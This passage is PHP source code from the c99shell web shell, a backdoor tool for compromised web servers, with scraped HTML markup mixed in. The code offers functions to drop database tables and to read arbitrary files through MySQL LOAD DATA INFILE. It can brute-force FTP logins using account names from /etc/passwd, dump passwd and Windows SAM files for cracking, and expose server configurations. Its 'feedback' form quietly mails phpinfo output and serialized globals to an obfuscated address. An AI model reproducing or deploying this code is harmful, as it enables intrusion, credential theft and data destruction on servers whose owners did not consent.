       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}<br />
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}<br />
       echo "
<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>
<p>";<br />
       $i = 0;<br />
       foreach ($row as $k=>$v)<br />
       {<br />
        $v = htmlspecialchars($v);<br />
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}<br />
        echo "
<td>".$v."</td>
<p>";<br />
        $i++;<br />
       }<br />
       echo "
<td>";<br />
       echo "<a href=\"".$sql_surl."sql_act=query&#038;sql_tbl=".urlencode($sql_tbl)."&#038;sql_tbl_ls=".$sql_tbl_ls."&#038;sql_tbl_le=".$sql_tbl_le."&#038;sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&#038;img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";<br />
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&#038;sql_tbl=".urlencode($sql_tbl)."&#038;sql_tbl_ls=".$sql_tbl_ls."&#038;sql_tbl_le=".$sql_tbl_le."&#038;sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&#038;img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";<br />
       echo "</td>
<p>";<br />
       echo "</tr>
<p>";<br />
      }<br />
      mysql_free_result($result);<br />
      echo "</table>
<hr size=\"1\" noshade>
<p align=\"left\"><img src=\"".$surl."act=img&#038;img=arrow_ltr\" border=\"0\"><br />
<select name=\"sql_act\">";<br />
      echo "<br />
<option value=\"\">With selected:</option>
<p>";<br />
      echo "<br />
<option value=\"deleterow\">Delete</option>
<p>";<br />
      echo "</select>
<p>&nbsp;<input type=\"submit\" value=\"Confirm\"></form>
</p>
<p>";<br />
     }<br />
    }<br />
    else<br />
    {<br />
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);<br />
     if (!$result) {echo mysql_smarterror();}<br />
     else<br />
     {<br />
      echo "<br />
<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>
<td><center><b>Table</b></center></td>
<td><b>Rows</b></td>
<td><b>Type</b></td>
<td><b>Created</b></td>
<td><b>Modified</b></td>
<td><b>Size</b></td>
<td><b>Action</b></td>
</tr>
<p>";<br />
      $i = 0;<br />
      $tsize = $trows = 0;<br />
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))<br />
      {<br />
       $tsize += $row["Data_length"];<br />
       $trows += $row["Rows"];<br />
       $size = view_size($row["Data_length"]);<br />
       echo "<br />
<tr>";<br />
       echo "
<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>
<p>";<br />
       echo "
<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>
<p>";<br />
       echo "
<td>".$row["Rows"]."</td>
<p>";<br />
       echo "
<td>".$row["Type"]."</td>
<p>";<br />
       echo "
<td>".$row["Create_time"]."</td>
<p>";<br />
       echo "
<td>".$row["Update_time"]."</td>
<p>";<br />
       echo "
<td>".$size."</td>
<p>";<br />
       echo "
<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&#038;sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&#038;img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&#038;sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&#038;img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&#038;sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&#038;img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>
<p>";<br />
       echo "</tr>
<p>";<br />
       $i++;<br />
      }<br />
      echo "<br />
<tr bgcolor=\"000000\">";<br />
      echo "
<td><center><b>»</b></center></td>
<p>";<br />
      echo "
<td><center><b>".$i." table(s)</b></center></td>
<p>";<br />
      echo "
<td><b>".$trows."</b></td>
<p>";<br />
      echo "
<td>".$row[1]."</td>
<p>";<br />
      echo "
<td>".$row[10]."</td>
<p>";<br />
      echo "
<td>".$row[11]."</td>
<p>";<br />
      echo "
<td><b>".view_size($tsize)."</b></td>
<p>";<br />
      echo "
<td></td>
<p>";<br />
      echo "</tr>
<p>";<br />
      echo "</table>
<hr size=\"1\" noshade>
<p align=\"right\"><img src=\"".$surl."act=img&#038;img=arrow_ltr\" border=\"0\"><br />
<select name=\"sql_act\">";<br />
      echo "<br />
<option value=\"\">With selected:</option>
<p>";<br />
      echo "<br />
<option value=\"tbldrop\">Drop</option>
<p>";<br />
      echo "<br />
<option value=\"tblempty\">Empty</option>
<p>";<br />
      echo "<br />
<option value=\"tbldump\">Dump</option>
<p>";<br />
      echo "<br />
<option value=\"tblcheck\">Check table</option>
<p>";<br />
      echo "<br />
<option value=\"tbloptimize\">Optimize table</option>
<p>";<br />
      echo "<br />
<option value=\"tblrepair\">Repair table</option>
<p>";<br />
      echo "<br />
<option value=\"tblanalyze\">Analyze table</option>
<p>";<br />
      echo "</select>
<p>&nbsp;<input type=\"submit\" value=\"Confirm\"></form>
</p>
<p>";<br />
      mysql_free_result($result);<br />
     }<br />
    }<br />
   }<br />
   }<br />
  }<br />
  else<br />
  {<br />
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");<br />
   if (in_array($sql_act,$acts)) {?><br />
<table border="0" width="100%" height="1">
<tr>
<td width="30%" height="1"><b>Create new DB:</b><br />
<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form>
</td>
<td width="30%" height="1"><b>View File:</b><br />
<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form>
</td>
<td width="30%" height="1"></td>
</tr>
<tr>
<td width="30%" height="1"></td>
<td width="30%" height="1"></td>
<td width="30%" height="1"></td>
</tr>
</table>
<p><?php }<br />
   if (!empty($sql_act))<br />
   {<br />
    echo "<br />
<hr size=\"1\" noshade>";<br />
    if ($sql_act == "newdb")<br />
    {<br />
     echo "<b>";<br />
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br />";}<br />
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br />Reason:</b> ".mysql_smarterror();}<br />
    }<br />
    if ($sql_act == "serverstatus")<br />
    {<br />
     $result = mysql_query("SHOW STATUS", $sql_sock);<br />
     echo "<center><b>Server-status variables:</b></p>
<p>";<br />
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1>
<td><b>Name</b></td>
<td><b>Value</b></td>
</tr>
<p>";<br />
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<br />
<tr>
<td>".$row[0]."</td>
<td>".$row[1]."</td>
</tr>
<p>";}<br />
     echo "</table>
<p></center>";<br />
     mysql_free_result($result);<br />
    }<br />
    if ($sql_act == "servervars")<br />
    {<br />
     $result = mysql_query("SHOW VARIABLES", $sql_sock);<br />
     echo "<center><b>Server variables:</b></p>
<p>";<br />
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1>
<td><b>Name</b></td>
<td><b>Value</b></td>
</tr>
<p>";<br />
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<br />
<tr>
<td>".$row[0]."</td>
<td>".$row[1]."</td>
</tr>
<p>";}<br />
     echo "</table>
<p>";<br />
     mysql_free_result($result);<br />
    }<br />
    if ($sql_act == "processes")<br />
    {<br />
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}<br />
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);<br />
     echo "<center><b>Processes:</b></p>
<p>";<br />
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1>
<td><b>ID</b></td>
<td><b>USER</b></td>
<td><b>HOST</b></td>
<td><b>DB</b></td>
<td><b>COMMAND</b></td>
<td><b>TIME</b></td>
<td><b>STATE</b></td>
<td><b>INFO</b></td>
<td><b>Action</b></td>
</tr>
<p>";<br />
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<br />
<tr>
<td>".$row[0]."</td>
<td>".$row[1]."</td>
<td>".$row[2]."</td>
<td>".$row[3]."</td>
<td>".$row[4]."</td>
<td>".$row[5]."</td>
<td>".$row[6]."</td>
<td>".$row[7]."</td>
<td><a href=\"".$sql_surl."sql_act=processes&#038;kill=".$row[0]."\"><u>Kill</u></a></td>
</tr>
<p>";}<br />
     echo "</table>
<p>";<br />
     mysql_free_result($result);<br />
    }<br />
    if ($sql_act == "getfile")<br />
    {<br />
     $tmpdb = $sql_login."_tmpdb";<br />
     $select = mysql_select_db($tmpdb);<br />
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}<br />
     if ($select)<br />
     {<br />
      $created = FALSE;<br />
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");<br />
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");<br />
      $result = mysql_query("SELECT * FROM tmp_file;");<br />
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}<br />
      else<br />
      {<br />
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}<br />
       $f = "";<br />
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}<br />
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br />";}<br />
       else {echo "<b>File \"".$sql_getfile."\":</b><br />".nl2br(htmlspecialchars($f))."<br />";}<br />
       mysql_free_result($result);<br />
       mysql_query("DROP TABLE tmp_file;");<br />
      }<br />
     }<br />
     mysql_drop_db($tmpdb); //comment it if you want to leave database<br />
    }<br />
   }<br />
  }<br />
 }<br />
 echo "</td>
</tr>
</table>
<p>";<br />
 if ($sql_sock)<br />
 {<br />
  $affected = @mysql_affected_rows($sql_sock);<br />
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}<br />
  echo "<br />
<tr>
<td><center><b>Affected rows: ".$affected."</center></td>
</tr>
<p>";<br />
 }<br />
 echo "</table>
<p>";<br />
}<br />
if ($act == "mkdir")<br />
{<br />
 if ($mkdir != $d)<br />
 {<br />
  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}<br />
  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}<br />
  echo "</p>
<p>";<br />
 }<br />
 $act = $dspact = "ls";<br />
}<br />
if ($act == "ftpquickbrute")<br />
{<br />
 echo "<b>Ftp Quick brute:</b><br />";<br />
 if (!win) {echo "This functions not work in Windows!</p>
<p>";}<br />
 else<br />
 {<br />
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)<br />
  {<br />
   if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}<br />
   else {$TRUE = TRUE;}<br />
   if ($TRUE)<br />
   {<br />
    $sock = @ftp_connect($host,$port,$timeout);<br />
    if (@ftp_login($sock,$login,$pass))<br />
    {<br />
     echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br />";<br />
     ob_flush();<br />
     return TRUE;<br />
    }<br />
   }<br />
  }<br />
  if (!empty($submit))<br />
  {<br />
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}<br />
   $fp = fopen("/etc/passwd","r");<br />
   if (!$fp) {echo "Can't get /etc/passwd for password-list.";}<br />
   else<br />
   {<br />
    if ($fqb_logging)<br />
    {<br />
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}<br />
     else {$fqb_logfp = FALSE;}<br />
     $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";<br />
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}<br />
    }<br />
    ob_flush();<br />
    $i = $success = 0;<br />
    $ftpquick_st = getmicrotime();<br />
    while(!feof($fp))<br />
    {<br />
     $str = explode(":",fgets($fp,2048));<br />
     if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))<br />
     {<br />
      echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br />";<br />
      $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";<br />
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}<br />
      $success++;<br />
      ob_flush();<br />
     }<br />
     if ($i > $fqb_lenght) {break;}<br />
     $i++;<br />
    }<br />
    if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}<br />
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);<br />
    echo "<br />
<hr size=\"1\" noshade><b>Done!</b><br />Total time (secs.): ".$ftpquick_t."<br />Total connections: ".$i."<br />Success.: <font color=green><b>".$success."</b></font><br />Unsuccess.:".($i-$success)."</b><br />Connects per second: ".round($i/$ftpquick_t,2)."<br />";<br />
    $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";<br />
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}<br />
    if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}<br />
    fclose($fqb_logfp);<br />
   }<br />
  }<br />
  else<br />
  {<br />
   $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";<br />
   $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);<br />
   echo "<br />
<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br />Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></p>
<p>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"></p>
<p>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br />Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br />Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></p>
<p><input type=submit name=submit value=\"Brute\"></form>
<p>";<br />
  }<br />
 }<br />
}<br />
if ($act == "d")<br />
{<br />
 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}<br />
 else<br />
 {<br />
  echo "<b>Directory information:</b><br />
<table border=0 cellspacing=1 cellpadding=2>";<br />
  if (!$win)<br />
  {<br />
   echo "<br />
<tr>
<td><b>Owner/Group</b></td>
<td> ";<br />
   $ow = posix_getpwuid(fileowner($d));<br />
   $gr = posix_getgrgid(filegroup($d));<br />
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));<br />
  }<br />
  echo "<br />
<tr>
<td><b>Perms</b></td>
<td><a href=\"".$surl."act=chmod&#038;d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><br />
<tr>
<td><b>Create time</b></td>
<td> ".date("d/m/Y H:i:s",filectime($d))."</td>
</tr>
<tr>
<td><b>Access time</b></td>
<td> ".date("d/m/Y H:i:s",fileatime($d))."</td>
</tr>
<tr>
<td><b>MODIFY time</b></td>
<td> ".date("d/m/Y H:i:s",filemtime($d))."</td>
</tr>
</table>
<p>";<br />
 }<br />
}<br />
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}<br />
if ($act == "security")<br />
{<br />
 echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br />";<br />
 if (!$win)<br />
 {<br />
  if ($nixpasswd)<br />
  {<br />
   if ($nixpasswd == 1) {$nixpasswd = 0;}<br />
   echo "<b>*nix /etc/passwd:</b><br />";<br />
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}<br />
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}<br />
   echo "<br />
<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form>
<p>";<br />
   $i = $nixpwd_s;<br />
   while ($i < $nixpwd_e)<br />
   {<br />
    $uid = posix_getpwuid($i);<br />
    if ($uid)<br />
    {<br />
     $uid["dir"] = "<a href=\"".$surl."act=ls&#038;d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";<br />
     echo join(":",$uid)."<br />";<br />
    }<br />
    $i++;<br />
   }<br />
  }<br />
  else {echo "<br /><a href=\"".$surl."act=security&#038;nixpasswd=1&#038;d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br />";}<br />
 }<br />
 else<br />
 {<br />
  $v = $_SERVER["WINDIR"]."\repair\sam";<br />
  if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br />";}<br />
  else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&#038;f=sam&#038;d=".$_SERVER["WINDIR"]."\\repair&#038;ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br />";}<br />
 }<br />
 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=userdomains&#038;d=".urlencode("/etc")."&#038;ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=accounting.log&#038;d=".urlencode("/var/cpanel/")."\"&#038;ft=txt><u><b>View cpanel logs</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=httpd.conf&#038;d=".urlencode("/usr/local/apache/conf")."&#038;ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=httpd.conf&#038;d=".urlencode("/etc")."&#038;ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=syslog.conf&#038;d=".urlencode("/etc")."&#038;ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=motd&#038;d=".urlencode("/etc")."&#038;ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br />";}<br />
 if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&#038;f=hosts&#038;d=".urlencode("/etc")."&#038;ft=txt\"><u><b>Hosts</b></u></a></font></b><br />";}<br />
 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br />";}}<br />
 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));<br />
 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));<br />
 displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));<br />
 displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));<br />
 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));<br />
 displaysecinfo("RAM",myshellexec("free -m"));<br />
 displaysecinfo("HDD space",myshellexec("df -h"));<br />
 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));<br />
 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));<br />
 displaysecinfo("Is cURL installed?",myshellexec("which curl"));<br />
 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));<br />
 displaysecinfo("Is links installed?",myshellexec("which links"));<br />
 displaysecinfo("Is fetch installed?",myshellexec("which fetch"));<br />
 displaysecinfo("Is GET installed?",myshellexec("which GET"));<br />
 displaysecinfo("Is perl installed?",myshellexec("which perl"));<br />
 displaysecinfo("Where is apache",myshellexec("whereis apache"));<br />
 displaysecinfo("Where is perl?",myshellexec("whereis perl"));<br />
 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));<br />
 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));<br />
 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));<br />
 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));<br />
}<br />
if ($act == "mkfile")<br />
{<br />
 if ($mkfile != $d)<br />
 {<br />
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}<br />
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}<br />
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}<br />
 }<br />
 else {$act = $dspact = "ls";}<br />
}<br />
if ($act == "encoder")<br />
{<br />
 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><br />
<form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea></p>
<p><input type=submit value=\"calculate\"></p>
<p></center><b>Hashes</b>:<br /><center>";<br />
 foreach(array("md5","crypt","sha1","crc32") as $v)<br />
 {<br />
  echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br />";<br />
 }<br />
 echo "</center><b>Url:</b><center><br />urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly><br />
 <br />urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly><br />
 <br /></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";<br />
 echo "<center>base64_decode - ";<br />
 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}<br />
 else<br />
 {<br />
  $debase64 = base64_decode($encoder_input);<br />
  $debase64 = str_replace("\0","[0]",$debase64);<br />
  $a = explode("\r\n",$debase64);<br />
  $rows = count($a);<br />
  $debase64 = htmlspecialchars($debase64);<br />
  if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}<br />
  else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}<br />
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";<br />
 }<br />
 echo "</center><br /><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";<br />
 $c = strlen($encoder_input);<br />
 for($i=0;$i<$c;$i++)<br />
 {<br />
  $hex = dechex(ord($encoder_input[$i]));<br />
  if ($encoder_input[$i] == "&#038;") {echo $encoder_input[$i];}<br />
  elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}<br />
 }<br />
 echo "\" readonly><br /></center></form>
<p>";<br />
}<br />
if ($act == "fsbuff")<br />
{<br />
 $arr_copy = $sess_data["copy"];<br />
 $arr_cut = $sess_data["cut"];<br />
 $arr = array_merge($arr_copy,$arr_cut);<br />
 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}<br />
 else {echo "<b>File-System buffer</b></p>
<p>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}<br />
}<br />
if ($act == "selfremove")<br />
{<br />
 if (($submit == $rndcode) and ($submit != ""))<br />
 {<br />
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }<br />
  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}<br />
 }<br />
 else<br />
 {<br />
  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}<br />
  $rnd = rand(0,9).rand(0,9).rand(0,9);<br />
  echo "<br />
<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br /><b>Are you sure?<br />For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>
<p>";<br />
 }<br />
}<br />
if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "</p>
<p><input type=button onclick=\"location.href='".$surl."act=update&#038;confirmupdate=1';\" value=\"Update now\">";}}<br />
if ($act == "feedback")<br />
{<br />
 $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");<br />
 if (!empty($submit))<br />
 {<br />
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6);<br />
  $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;<br />
  if (!empty($fdbk_ref))<br />
  {<br />
   $tmp = @ob_get_contents();<br />
   ob_clean();<br />
   phpinfo();<br />
   $phpinfo = base64_encode(ob_get_contents());<br />
   ob_clean();<br />
   echo $tmp;<br />
   $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";<br />
  }<br />
  mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);<br />
  echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";<br />
 }<br />
 else {echo "<br />
<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):</p>
<p>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></p>
<p>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></p>
<p>Message:<br /><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"></p>
<p>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked></p>
<p>There are no checking in the form.</p>
<p>* - strongly recommended, if you report bug, because we need it for bug-fix.</p>
